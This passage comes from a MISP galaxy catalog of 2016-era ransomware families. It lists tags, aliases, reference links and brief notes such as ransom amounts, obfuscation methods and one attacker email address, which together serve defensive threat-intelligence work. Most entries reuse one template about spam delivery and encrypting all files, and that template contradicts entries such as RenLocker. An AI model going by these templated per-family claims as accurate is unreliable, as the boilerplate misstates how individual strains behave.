<td><a href="https://id-ransomware.blogspot.co.il/2016/11/chartwig-ransomware.html">https://id-ransomware.blogspot.co.il/2016/11/chartwig-ransomware.html</a></td>
</tr>
</tbody>
</table>

RenLocker Ransomware (FAKE)

It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. The files don’t actually get encrypted, their names get changed using this formula: [number][.crypter]

The tag is: `misp-galaxy:ransomware="RenLocker Ransomware (FAKE)"`

Table 7446. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://id-ransomware.blogspot.co.il/2016/11/renlocker-ransomware.html">https://id-ransomware.blogspot.co.il/2016/11/renlocker-ransomware.html</a></td>
</tr>
</tbody>
</table>
Thanksgiving Ransomware

It's directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc..

The tag is: misp-galaxy:ransomware="Thanksgiving Ransomware"

Table 7447. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://id-ransomware.blogspot.co.il/2016/11/thanksgiving-ransomware.html">https://id-ransomware.blogspot.co.il/2016/11/thanksgiving-ransomware.html</a></td>
</tr>
<tr>
<td><a href="https://id-ransomware.blogspot.co.il/2016/07/stampado-ransomware-1.html">https://id-ransomware.blogspot.co.il/2016/07/stampado-ransomware-1.html</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/BleepinComputer/status/801486420368093184">https://twitter.com/BleepinComputer/status/801486420368093184</a></td>
</tr>
</tbody>
</table>

CockBlocker Ransomware

It's directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc..

The tag is: misp-galaxy:ransomware="CockBlocker Ransomware"

Table 7448. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://id-ransomware.blogspot.co.il/2016/11/cockblocker-ransomware.html">https://id-ransomware.blogspot.co.il/2016/11/cockblocker-ransomware.html</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/jiriatvirlab/status/801910919739674624">https://twitter.com/jiriatvirlab/status/801910919739674624</a></td>
</tr>
</tbody>
</table>

Lomix Ransomware

It's directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. Based on the idiotic open-source ransomware called CryptoWire

The tag is: misp-galaxy:ransomware="Lomix Ransomware"

Table 7449. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://id-ransomware.blogspot.co.il/2016/11/lomix-ransomware.html">https://id-ransomware.blogspot.co.il/2016/11/lomix-ransomware.html</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/siri_urz/status/801815087082274816">https://twitter.com/siri_urz/status/801815087082274816</a></td>
</tr>
</tbody>
</table>
**OzozaLocker Ransomware**

It's directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc..  

https://3.bp.blogspot.com/-jubfYRaRmw/WDaOyZXkAaI/AAAAAAAACQE/E63a4FnaOfACZ07s1xUiv_haxy8cp5YCACLcB/s1600/ozoza2.png

The tag is: *misp-galaxy:ransomware="OzozaLocker Ransomware"*

**Table 7450. Table References**

<table>
<thead>
<tr>
<th>Links</th>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://id-ransomware.blogspot.co.il/2016/11/ozoalocker-ransomware.html">https://id-ransomware.blogspot.co.il/2016/11/ozoalocker-ransomware.html</a></td>
<td></td>
</tr>
<tr>
<td><a href="https://decrypter.emsisoft.com/ozoalocker">https://decrypter.emsisoft.com/ozoalocker</a></td>
<td></td>
</tr>
<tr>
<td><a href="https://twitter.com/malwrhunterteam/status/801503401867673603">https://twitter.com/malwrhunterteam/status/801503401867673603</a></td>
<td></td>
</tr>
</tbody>
</table>

**Crypute Ransomware**

It's directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc..

The tag is: *misp-galaxy:ransomware="Crypute Ransomware"*

Crypute Ransomware is also known as:

- m0on Ransomware

**Table 7451. Table References**

<table>
<thead>
<tr>
<th>Links</th>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://id-ransomware.blogspot.co.il/2016/11/crypute-ransomware-m0on.html">https://id-ransomware.blogspot.co.il/2016/11/crypute-ransomware-m0on.html</a></td>
<td></td>
</tr>
</tbody>
</table>

**NMoreira Ransomware**

It's directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc..

The tag is: *misp-galaxy:ransomware="NMoreira Ransomware"*

NMoreira Ransomware is also known as:

- Fake Maktub Ransomware

**Table 7452. Table References**


VindowsLocker Ransomware

It's directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. The ransom amount is 349.99$ and the hacker seems to be from India. He disguises himself as Microsoft Support.

The tag is: *misp-galaxy:ransomware*="VindowsLocker Ransomware"

Table 7453. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://id-ransomware.blogspot.co.il/2016/11/windowslocker-ransomware.html">https://id-ransomware.blogspot.co.il/2016/11/windowslocker-ransomware.html</a></td>
</tr>
<tr>
<td><a href="https://malwarebytes.app.box.com/s/gdu18hr17mwqszj3hjw5m3sw84k8hlph">https://malwarebytes.app.box.com/s/gdu18hr17mwqszj3hjw5m3sw84k8hlph</a></td>
</tr>
<tr>
<td><a href="https://rol.im/VindowsUnlocker.zip">https://rol.im/VindowsUnlocker.zip</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/JakubKroustek/status/80072994412427008">https://twitter.com/JakubKroustek/status/80072994412427008</a></td>
</tr>
</tbody>
</table>

Donald Trump 2 Ransomware

It's directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. Here is the original ransomware under this name: [http://id-ransomware.blogspot.co.il/2016/09/donald-trump-ransomware.html](http://id-ransomware.blogspot.co.il/2016/09/donald-trump-ransomware.html)

The tag is: *misp-galaxy:ransomware*="Donald Trump 2 Ransomware"

Table 7454. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="http://id-ransomware.blogspot.co.il/2016/09/donald-trump-ransomware.html">http://id-ransomware.blogspot.co.il/2016/09/donald-trump-ransomware.html</a></td>
</tr>
</tbody>
</table>

Nagini Ransomware

It's directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. Looks for C:\Temp\voldemort.horcrux
Nagini Ransomware is also known as:

- Voldemort Ransomware

**ShellLocker Ransomware**

It's directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc..

The tag is: *misp-galaxy:ransomware=*"ShellLocker Ransomware"

**Chip Ransomware**

It's directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc..

The tag is: *misp-galaxy:ransomware=*"Chip Ransomware"

Chip Ransomware is also known as:

- ChipLocker Ransomware
**Dharma Ransomware**

It's directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. CrySiS > Dharma Note: ATTENTION! At the moment, your system is not protected. We can fix it and restore files. To restore the system write to this address: bitcoin143@india.com. CrySiS variant

The tag is: *misp-galaxy:ransomware=*"Dharma Ransomware"

*Table 7458. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://id-ransomware.blogspot.co.il/2016/11/dharma-ransomware.html">https://id-ransomware.blogspot.co.il/2016/11/dharma-ransomware.html</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/demonslay335/status/1049313390097813504">https://twitter.com/demonslay335/status/1049313390097813504</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/demonslay335/status/1059521042383814657">https://twitter.com/demonslay335/status/1059521042383814657</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/demonslay335/status/1059940414147489792">https://twitter.com/demonslay335/status/1059940414147489792</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/demonslay335/status/1060825783197933568">https://twitter.com/demonslay335/status/1060825783197933568</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/JakubKroustek/status/1064061275863425025">https://twitter.com/JakubKroustek/status/1064061275863425025</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/JakubKroustek/status/1064061275863425025">https://twitter.com/JakubKroustek/status/1064061275863425025</a></td>
</tr>
<tr>
<td><a href="https://www.youtube.com/watch?v=qjoYtwLx2TI">https://www.youtube.com/watch?v=qjoYtwLx2TI</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/GrujaRS/status/1072139616910757888">https://twitter.com/GrujaRS/status/1072139616910757888</a></td>
</tr>
</tbody>
</table>

**Angela Merkel Ransomware**

It's directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc..

The tag is: *misp-galaxy:ransomware=*"Angela Merkel Ransomware"

*Table 7459. Table References*
CryptoLuck Ransomware

This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..

The tag is: misp-galaxy:ransomware="CryptoLuck Ransomware"

CryptoLuck Ransomware is also known as:

• YafunnLocker

Crypton Ransomware

This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..

The tag is: misp-galaxy:ransomware="Crypton Ransomware"

Crypton Ransomware is also known as:

• Nemesis
• X3M
Karma Ransomware

This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc.. pretends to be a Windows optimization program called Windows-TuneUp

The tag is: *misp-galaxy:ransomware="Karma Ransomware"

<table>
<thead>
<tr>
<th>Table 7462. Table References</th>
</tr>
</thead>
<tbody>
<tr>
<td><strong>Links</strong></td>
</tr>
<tr>
<td><img src="https://www.bleepingcomputer.com/news/security/the-week-in-ransomware-november-18th-2016-crysis-cryptoluck-chip-and-more/" alt="image" /></td>
</tr>
</tbody>
</table>

WickedLocker HT Ransomware

This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..

The tag is: *misp-galaxy:ransomware="WickedLocker HT Ransomware"

<table>
<thead>
<tr>
<th>Table 7463. Table References</th>
</tr>
</thead>
<tbody>
<tr>
<td><strong>Links</strong></td>
</tr>
<tr>
<td><img src="https://id-ransomware.blogspot.co.il/2016/11/wickedlocker-ht-ransomware.html" alt="image" /></td>
</tr>
</tbody>
</table>

PClock3 Ransomware

This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc.. CryptoLocker Copycat

The tag is: *misp-galaxy:ransomware="PClock3 Ransomware"

PClock3 Ransomware is also known as:

- PClock SuppTeam Ransomware
• WinPlock
• CryptoLocker clone

Table 7464. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://id-ransomware.blogspot.co.il/2016/11/suppteam-ransomware-sysras.html">https://id-ransomware.blogspot.co.il/2016/11/suppteam-ransomware-sysras.html</a></td>
</tr>
<tr>
<td><a href="https://decrypter.emsisoft.com/">https://decrypter.emsisoft.com/</a></td>
</tr>
</tbody>
</table>

Kolobo Ransomware

This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..

The tag is: misp-galaxy:ransomware="Kolobo Ransomware"

Kolobo Ransomware is also known as:

• Kolobocheq Ransomware

Table 7465. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.ransomware.wiki/tag/kolobo/">https://www.ransomware.wiki/tag/kolobo/</a></td>
</tr>
<tr>
<td><a href="https://id-ransomware.blogspot.co.il/2016/11/kolobo-ransomware.html">https://id-ransomware.blogspot.co.il/2016/11/kolobo-ransomware.html</a></td>
</tr>
</tbody>
</table>

PaySafeGen (German) Ransomware

This is most likely to affect German speaking users, since the note is written in German. Mostly affects users in German speaking countries. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..

The tag is: misp-galaxy:ransomware="PaySafeGen (German) Ransomware"

PaySafeGen (German) Ransomware is also known as:

• Paysafecard Generator 2016
• PaySafeCard
Telecrypt Ransomware

This is most likely to affect Russian speaking users, since the note is written in Russian. Therefore, residents of Russian speaking country are affected. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc.. The ransomware’s authors would request around $75 from their victims to provide them with a decryptor (payments are accepted via Russian payment services Qiwi or Yandex.Money ). Right from the start, however, researchers suggested that TeleCrypt was written by cybercriminals without advanced skills. Telecrypt will generate a random string to encrypt with that is between 10-20 length and only contain the letters vo,pr,bm,xu,zt,dq.

The tag is: misp-galaxy:ransomware="Telecrypt Ransomware"

CerberTear Ransomware

This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..

The tag is: misp-galaxy:ransomware="CerberTear Ransomware"
FuckSociety Ransomware

This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc. Hidden Tear >> APT Ransomware + HYPERLINK "https://id-ransomware.blogspot.ru/2016/05/remindme-ransomware-2.html" "_blank" RemindMe > FuckSociety

The tag is: misp-galaxy:ransomware="FuckSociety Ransomware"

PayDOS Ransomware

This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc. Batch file; Passcode: AES1014DW256 or RSA1014DJW2048

The tag is: misp-galaxy:ransomware="PayDOS Ransomware"

PayDOS Ransomware is also known as:

• Serpent Ransomware
zScreenLocker Ransomware

This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..

The tag is: misp-galaxy:ransomware="zScreenLocker Ransomware"

Table 7471. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://id-ransomware.blogspot.co.il/2016/11/zscreenlocker-ransomware.html">https://id-ransomware.blogspot.co.il/2016/11/zscreenlocker-ransomware.html</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/struppigel/status/794077145349967872">https://twitter.com/struppigel/status/794077145349967872</a></td>
</tr>
</tbody>
</table>

Gremit Ransomware

This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..

The tag is: misp-galaxy:ransomware="Gremit Ransomware"

Table 7472. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://id-ransomware.blogspot.co.il/2016/11/gremit-ransomware.html">https://id-ransomware.blogspot.co.il/2016/11/gremit-ransomware.html</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/struppigel/status/79444032286060544">https://twitter.com/struppigel/status/79444032286060544</a></td>
</tr>
</tbody>
</table>

Hollycrypt Ransomware

This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..

The tag is: misp-galaxy:ransomware="Hollycrypt Ransomware"

Table 7473. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://id-ransomware.blogspot.co.il/2016/11/hollycrypt-ransomware.html">https://id-ransomware.blogspot.co.il/2016/11/hollycrypt-ransomware.html</a></td>
</tr>
</tbody>
</table>
BTCLocker Ransomware

This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..

The tag is: misp-galaxy:ransomware="BTCLocker Ransomware"

BTCLocker Ransomware is also known as:

• BTC Ransomware

Kangaroo Ransomware

This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc.. From the developer behind the Apocalypse Ransomware, Fabiansomware, and Esmeralda

The tag is: misp-galaxy:ransomware="Kangaroo Ransomware"

DummyEncrypter Ransomware

This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..

The tag is: misp-galaxy:ransomware="DummyEncrypter Ransomware"
Encryptss77 Ransomware

This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..

The tag is: misp-galaxy:ransomware="Encryptss77 Ransomware"

Encryptss77 Ransomware is also known as:

- SFX Monster Ransomware

Table 7477. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://id-ransomware.blogspot.co.il/2016/11/encryptss77-ransomware.html">https://id-ransomware.blogspot.co.il/2016/11/encryptss77-ransomware.html</a></td>
</tr>
</tbody>
</table>

WinRarer Ransomware

This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..

The tag is: misp-galaxy:ransomware="WinRarer Ransomware"

Table 7478. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://id-ransomware.blogspot.co.il/2016/11/winrarer-ransomware.html">https://id-ransomware.blogspot.co.il/2016/11/winrarer-ransomware.html</a></td>
</tr>
</tbody>
</table>

Russian Globe Ransomware

This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..

The tag is: misp-galaxy:ransomware="Russian Globe Ransomware"

Table 7479. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://id-ransomware.blogspot.co.il/2016/11/russian-globe-ransomware.html">https://id-ransomware.blogspot.co.il/2016/11/russian-globe-ransomware.html</a></td>
</tr>
</tbody>
</table>
ZeroCrypt Ransomware

This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..

The tag is: misp-galaxy:ransomware="ZeroCrypt Ransomware"

Table 7480. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://id-ransomware.blogspot.co.il/2016/11/zerocrypt-ransomware.html">https://id-ransomware.blogspot.co.il/2016/11/zerocrypt-ransomware.html</a></td>
</tr>
</tbody>
</table>

RotorCrypt(RotoCrypt, Tar) Ransomware

This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..

The tag is: misp-galaxy:ransomware="RotorCrypt(RotoCrypt, Tar) Ransomware"

RotorCrypt(RotoCrypt, Tar) Ransomware is also known as:

- RotorCrypt
- RotoCrypt
- Tar Ransomware

Table 7481. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://id-ransomware.blogspot.co.il/2016/10/rotorcrypt-ransomware.html">https://id-ransomware.blogspot.co.il/2016/10/rotorcrypt-ransomware.html</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/demonslay335/status/1050117756094476289">https://twitter.com/demonslay335/status/1050117756094476289</a></td>
</tr>
</tbody>
</table>

Ishtar Ransomware

This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc.

The tag is: misp-galaxy:ransomware="Ishtar Ransomware"

Table 7482. Table References
MasterBuster Ransomware

This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..

The tag is: `misp-galaxy:ransomware="MasterBuster Ransomware"`

JackPot Ransomware

This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..

The tag is: `misp-galaxy:ransomware="JackPot Ransomware"`

JackPot Ransomware is also known as:

- Jack.Pot Ransomware

ONYX Ransomware

This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc.. Georgian ransomware

The tag is: `misp-galaxy:ransomware="ONYX Ransomware"`
### IFN643 Ransomware

This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..

The tag is: `misp-galaxy:ransomware="IFN643 Ransomware"`

### Alcatraz Locker Ransomware

This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..

The tag is: `misp-galaxy:ransomware="Alcatraz Locker Ransomware"`

### Esmeralda Ransomware

This is most likely to affect English speaking users, since the note is written in English. English is
understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..

The tag is: *misp-galaxy:ransomware="Esmeralda Ransomware"*

**EncrypTile Ransomware**

This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..

The tag is: *misp-galaxy:ransomware="EncrypTile Ransomware"*

**Fileice Ransomware Survey Ransomware**

This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc.. Sample of how the hacker tricks the user using the survey method.  
https://1.bp.blogspot.com/-72ECd1vsUdE/WBMSzPQEgzI/AAAAAAAABzA/i8V-Kg8Gstcn_7-YZK__PDC2VgafWcfDgLcB/s1600/survey-screen.png The hacker definatly has a sense of humor:  
https://1.bp.blogspot.com/-2AlvtcvdyUY/WBMVptG_V5I/AAAAAAAABzc/1KvAMeDmY2w9B9N9vkqZ08LWkBu7T9mvDACLcB/s1600/ThxForYurTyme.JPG

The tag is: *misp-galaxy:ransomware="Fileice Ransomware Survey Ransomware"*
**CryptoWire Ransomeware**

This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc.

The tag is: `misp-galaxy:ransomware="CryptoWire Ransomeware"`

**Table 7491. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://id-ransomware.blogspot.co.il/2016/10/cryptowire-ransomware.html">https://id-ransomware.blogspot.co.il/2016/10/cryptowire-ransomware.html</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/struppigel/status/791554654664552448">https://twitter.com/struppigel/status/791554654664552448</a></td>
</tr>
</tbody>
</table>

**Hucky Ransomware**

This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc.. Based on Locky

The tag is: `misp-galaxy:ransomware="Hucky Ransomware"`

Hucky Ransomware is also known as:

- Hungarian Locky Ransomware

**Table 7492. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://id-ransomware.blogspot.co.il/2016/10/hucky-ransomware-hungarian-locky.html">https://id-ransomware.blogspot.co.il/2016/10/hucky-ransomware-hungarian-locky.html</a></td>
</tr>
<tr>
<td><a href="https://blog.avast.com/hucky-ransomware-a-hungarian-locky-wannabe">https://blog.avast.com/hucky-ransomware-a-hungarian-locky-wannabe</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/struppigel/status/846241982347427840">https://twitter.com/struppigel/status/846241982347427840</a></td>
</tr>
</tbody>
</table>

**Winninx Cryptor Ransomware**

This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..

The tag is: `misp-galaxy:ransomware="Winnix Cryptor Ransomware"`

**Table 7493. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td>5026</td>
</tr>
</tbody>
</table>
AngryDuck Ransomware

This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc.. Demands 10 BTC

The tag is: `misp-galaxy:ransomware="AngryDuck Ransomware"`

Table 7494. Table References

Lock93 Ransomware

This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..

The tag is: `misp-galaxy:ransomware="Lock93 Ransomware"

Table 7495. Table References

ASN1 Encoder Ransomware

This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..

The tag is: `misp-galaxy:ransomware="ASN1 Encoder Ransomware"

Table 7496. Table References
Click Me Ransomware

This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc.. The hacker tries to get the user to play a game and when the user clicks the button, there is no game, just 20 pictures in a .gif below: https://3.bp.blogspot.com/-1zgO3-bBazs/WAkPYqXuayI/AAAAAAABxl/DO3vycRW-TozneSfRTdeKyXGNEtJSMehgCLcB/s1600/all-images.gif

The tag is: misp-galaxy:ransomware="Click Me Ransomware"

AiraCrop Ransomware

This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..

The tag is: misp-galaxy:ransomware="AiraCrop Ransomware"

JapanLocker Ransomware

This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc.. Base64 encoding, ROT13, and top-bottom swapping

The tag is: misp-galaxy:ransomware="JapanLocker Ransomware"

JapanLocker Ransomware is also known as:
• SHC Ransomware
• SHCLocker
• SyNcryption

Table 7499. Table References

<table>
<thead>
<tr>
<th>Links</th>
